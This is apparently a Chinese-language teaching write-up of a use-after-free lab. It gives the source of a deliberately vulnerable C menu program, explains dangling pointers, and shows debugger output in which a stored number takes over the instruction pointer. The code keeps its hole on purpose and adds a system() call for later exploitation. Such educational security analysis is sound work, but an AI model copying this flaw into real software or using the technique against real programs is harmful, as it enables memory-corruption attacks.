/* disables IO buffering on the file descriptor */ #define disable_buffering(_fd) setvbuf(_fd, NULL, _IONBF, 0)
/* clears stdin up until newline */ voidclear_stdin(void) { char x = 0; while(1) { x = getchar(); if(x == '\n' || x == EOF) break; } }
/* gets a number from stdin and cleans up after itself */ unsignedintget_unum(void) { unsignedint res = 0; fflush(stdout); scanf("%u", &res); clear_stdin(); return res; }
voidbig_num(unsignedint a_num) { printf("tite number dawg: %u\n", a_num); }
voidprint_menu() { printf("-- UAF Playground Menu ----------------------\n" "1. Make a string\n" "2. Make a number\n" "3. Delete a string\n" "4. Delete a number\n" "5. Print a string\n" "6. Print a number\n" "7. Quit\n" "---------------------------------------------\n" "Enter Choice: "); }
int strcnt = 0; int numcnt = 0; unsignedint choice = 0; unsignedint index = 0;
while(1) { print_menu();
/* get menu option */ if((choice = get_unum()) == EOF) break;
/* make a string */ if(choice == 1) { if(strcnt < MAX_STR) { tempstr = malloc(sizeof(struct data));
/* no memory corruption this time */ printf("Input string to store: "); fgets(tempstr->buffer, 20, stdin); tempstr->buffer[strcspn(tempstr->buffer, "\n")] = 0;
/* pick a print function */ tempstr->print = strlen(tempstr->buffer) > 10 ? big_str : small_str;
/* store the string to our master list */ strings[++strcnt] = tempstr; printf("Created new string!\n"); } else printf("Please delete a string before trying to make another!\n"); }
/* make a number */ elseif(choice == 2) { if(numcnt < MAX_NUM) { tempnum = malloc(sizeof(struct number));
printf("Input number to store: "); tempnum->num = get_unum();
/* pick a print function */ tempnum->print = tempnum->num > 0x31337 ? big_num : small_num;
/* store the number to our master list */ numbers[++numcnt] = tempnum; printf("Created new number!\n"); } else printf("Please delete a number before trying to make another!\n"); }
/* delete a string */ elseif(choice == 3) { if(strcnt && strings[strcnt]) { free(strings[strcnt--]); printf("Deleted most recent string!\n"); } else printf("There are no strings left to delete!\n"); }
/* delete a number */ elseif(choice == 4) { if(numcnt && numbers[numcnt]) { free(numbers[numcnt--]); printf("Deleted most recent number!\n"); } else printf("There are no numbers left to delete!\n"); }
/* print a string */ elseif(choice == 5) { printf("String index to print: "); index = get_unum();
if(index < MAX_STR && strings[index]) strings[index]->print(strings[index]->buffer); else printf("There is no string to print!\n"); }
/* print a number */ elseif(choice == 6) { printf("Number index to print: "); index = get_unum();
if(index < MAX_NUM && numbers[index]) numbers[index]->print(numbers[index]->num); else printf("There is no number to print!\n"); }
/* quit */ elseif(choice == 7) break;
/* base case */ else printf("Invalid choice!\n");
index = 0; choice = 0; printf("\n"); }
// printf("See you tomorrow!\n"); // 这里需要system的plt入口 system("echo \"See you tomorrow!\""); return EXIT_SUCCESS; }
程序中两个struct实例( date 和 number )的内存都是使用malloc(第83行和106行)分配的。malloc返回一个指向新分配的内存的指针,该内存用来储存字符串/数字(第94和115行)。删除字符串或数字时,使用free释放以前分配的内存(第127行和139行)。传递给free的惟一参数是一个指向以前分配的内存区域的指针。free释放该内存区域,以便后续使用malloc函数再次使用该内存。需要注意的一个重要方面是free不会改变传递的指针!这意味着指针仍然指向当前已释放的内存区域。这样的指针称为悬空指针。后续再使用malloc的时候,指针所引用的内存区域将再次被分配,但可能与以前的对象(或结构体)不同。如果悬空指针现在用于读取或修改引用的对象(或结构体),那么在分配的内存中可能实际上存在另一种类型的对象(原先的悬空指针引起的),从而导致意外行为。因为这里悬空指针被用于读取或修改在free后又被malloc的对象(或结构体),所以该漏洞被称为UAF(Use After Free)。
ex@Ex:~/test$ ./lab7C -- UAF Playground Menu ---------------------- 1. Make a string 2. Make a number 3. Delete a string 4. Delete a number 5. Print a string 6. Print a number 7. Quit --------------------------------------------- Enter Choice: 1 Input string to store: AAAA Created new string!
-- UAF Playground Menu ---------------------- 1. Make a string 2. Make a number 3. Delete a string 4. Delete a number 5. Print a string 6. Print a number 7. Quit --------------------------------------------- Enter Choice: 3 Deleted most recent string!
-- UAF Playground Menu ---------------------- 1. Make a string 2. Make a number 3. Delete a string 4. Delete a number 5. Print a string 6. Print a number 7. Quit --------------------------------------------- Enter Choice: 5 String index to print: 1 here's your lame string: AAAA
ex@Ex:~/test$ ./lab7C -- UAF Playground Menu ---------------------- 1. Make a string 2. Make a number 3. Delete a string 4. Delete a number 5. Print a string 6. Print a number 7. Quit --------------------------------------------- Enter Choice: 1 Input string to store: AAAA Created new string!
-- UAF Playground Menu ---------------------- 1. Make a string 2. Make a number 3. Delete a string 4. Delete a number 5. Print a string 6. Print a number 7. Quit --------------------------------------------- Enter Choice: 3 Deleted most recent string!
-- UAF Playground Menu ---------------------- 1. Make a string 2. Make a number 3. Delete a string 4. Delete a number 5. Print a string 6. Print a number 7. Quit --------------------------------------------- Enter Choice: 2 Input number to store: 1337 Created new number!
-- UAF Playground Menu ---------------------- 1. Make a string 2. Make a number 3. Delete a string 4. Delete a number 5. Print a string 6. Print a number 7. Quit --------------------------------------------- Enter Choice: 5 String index to print: 1 Segmentation fault (core dumped)
Program received signal SIGSEGV, Segmentation fault. 0x00000539 in ?? () LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ─────────────────────────────────[ REGISTERS ]────────────────────────────────── EAX 0x539 EBX 0x56557f98 (_GLOBAL_OFFSET_TABLE_) ◂— 0x2ea0 ECX 0x1 EDX 0x56559988 ◂— 'AAAA' EDI 0x0 ESI 0x18 EBP 0xffffcdf8 ◂— 0x0 ESP 0xffffcd6c —▸ 0x56555e41 (main+812) ◂— jmp 0x56555ecb EIP 0x539 ───────────────────────────────────[ DISASM ]─────────────────────────────────── Invalid address 0x539
───────────────────────────────────[ STACK ]──────────────────────────────────── 00:0000│ esp 0xffffcd6c —▸ 0x56555e41 (main+812) ◂— jmp 0x56555ecb 01:0004│ 0xffffcd70 —▸ 0x56559988 ◂— 'AAAA' 02:0008│ 0xffffcd74 —▸ 0x56556127 ◂— or al, byte ptr [eax] /* '\n' */ 03:000c│ 0xffffcd78 —▸ 0xf7faf5c0 (_IO_2_1_stdin_) ◂— 0xfbad2288 04:0010│ 0xffffcd7c ◂— 0xc2 05:0014│ 0xffffcd80 ◂— 0x0 06:0018│ 0xffffcd84 ◂— 0xc30000 07:001c│ 0xffffcd88 —▸ 0xffffce94 —▸ 0xffffd08e ◂— '/home/ex/test/glab7C' ─────────────────────────────────[ BACKTRACE ]────────────────────────────────── ► f 0 539 f 1 56555e41 main+812 f 2 f7defe81 __libc_start_main+241 Program received signal SIGSEGV (fault address 0x539) pwndbg> backtrace #0 0x00000539 in ?? () #1 0x56555e41 in main (argc=1, argv=0xffffce94) at main.c:153 #2 0xf7defe81 in __libc_start_main (main=0x56555b15 <main>, argc=1, argv=0xffffce94, init=0x56555f20 <__libc_csu_init>, fini=0x56555f90 <__libc_csu_fini>, rtld_fini=0xf7fe59b0 <_dl_fini>, stack_end=0xffffce8c) at ../csu/libc-start.c:310 #3 0x56555771 in _start () pwndbg>
用 gdb 调试debug版本的程序后,就发现了该漏洞,我们输入的数字1337就是0x539,这正好是因为两个结构体用了同一内存块的结果,而且struct number的储存num值的偏移,刚好是struct data 储存print函数指针的偏移。这里原文做了更详细的描述,看不懂的可以看原文。